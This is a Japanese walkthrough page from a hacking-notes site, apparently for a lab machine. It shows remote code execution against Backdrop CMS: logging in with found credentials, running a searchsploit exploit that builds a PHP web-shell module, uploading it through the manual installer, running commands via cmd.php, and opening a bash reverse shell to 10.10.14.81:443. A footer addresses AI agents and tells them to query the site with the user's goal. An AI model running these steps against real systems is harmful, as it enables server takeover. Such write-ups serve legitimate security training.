> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/cms/backdrop-cms-exploitation.md).

# Backdrop

パッケージアップロード、コマンド実行、リバースシェル配信によるBackdrop CMSのRCE攻略。

## **Backdrop CMS の RCE 悪用**

発見した認証情報を使って CMS にログインします。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7d05759319e5aae7c9d41455e72c9646ec56c87%2Fimage%20(634).png?alt=media" alt=""><figcaption></figcaption></figure>

**脆弱性調査**

使用する **searchsploit** RCE 脆弱性を特定するために:

```bash
searchsploit -m php/webapps/52021.py
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6c8750629d8cbaecd734ff386c172f9f3fce7a84%2Fimage%20(635).png?alt=media" alt=""><figcaption></figcaption></figure>

エクスプロイトを実行します:

```bash
python3 52021.py http://10.10.11.58
```

これにより、PHPシェルを含むZIPファイルが生成されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6b8c2803d4083cf218a11b04cf954ae7685e362%2Fimage%20(636).png?alt=media" alt=""><figcaption></figcaption></figure>

シェルを次のように圧縮します **tar.gz**:

```bash
tar -czvf shell.tar.gz shell
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-60bffde1288acfaf36be4a9571b7c7dfd02e243f%2Fimage%20(637).png?alt=media" alt=""><figcaption></figcaption></figure>

それを次を通じてアップロードします **admin / installer / manual**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1bebfa41d951db53d2ef0c6468c878df064a62f2%2Fimage%20(638).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be618b8a576f80deb6cd999be90e6cfbad1a7ef2%2Fimage%20(639).png?alt=media" alt=""><figcaption></figcaption></figure>

**コマンド実行**

その **modules/cmd/** フォルダには **cmd.php**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e31cc9cb22e5a42ed6909f55a8e9484921a0108a%2Fimage%20(640).png?alt=media" alt=""><figcaption></figcaption></figure>

これによりコマンドを実行できます:

```bash
ifconfig 
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-23ca234217fa95f326999e5d5d57844118a33442%2Fimage%20(641).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Backdrop CMS リバースシェル**

ポート 443 でリスナーを開きます:

```bash
nc -nlvp 443 
```

ペイロードを注入します:

```bash
bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-08b91c3335d4e87f3252071166ac44288c01ef39%2Fimage%20(642).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/cms/backdrop-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
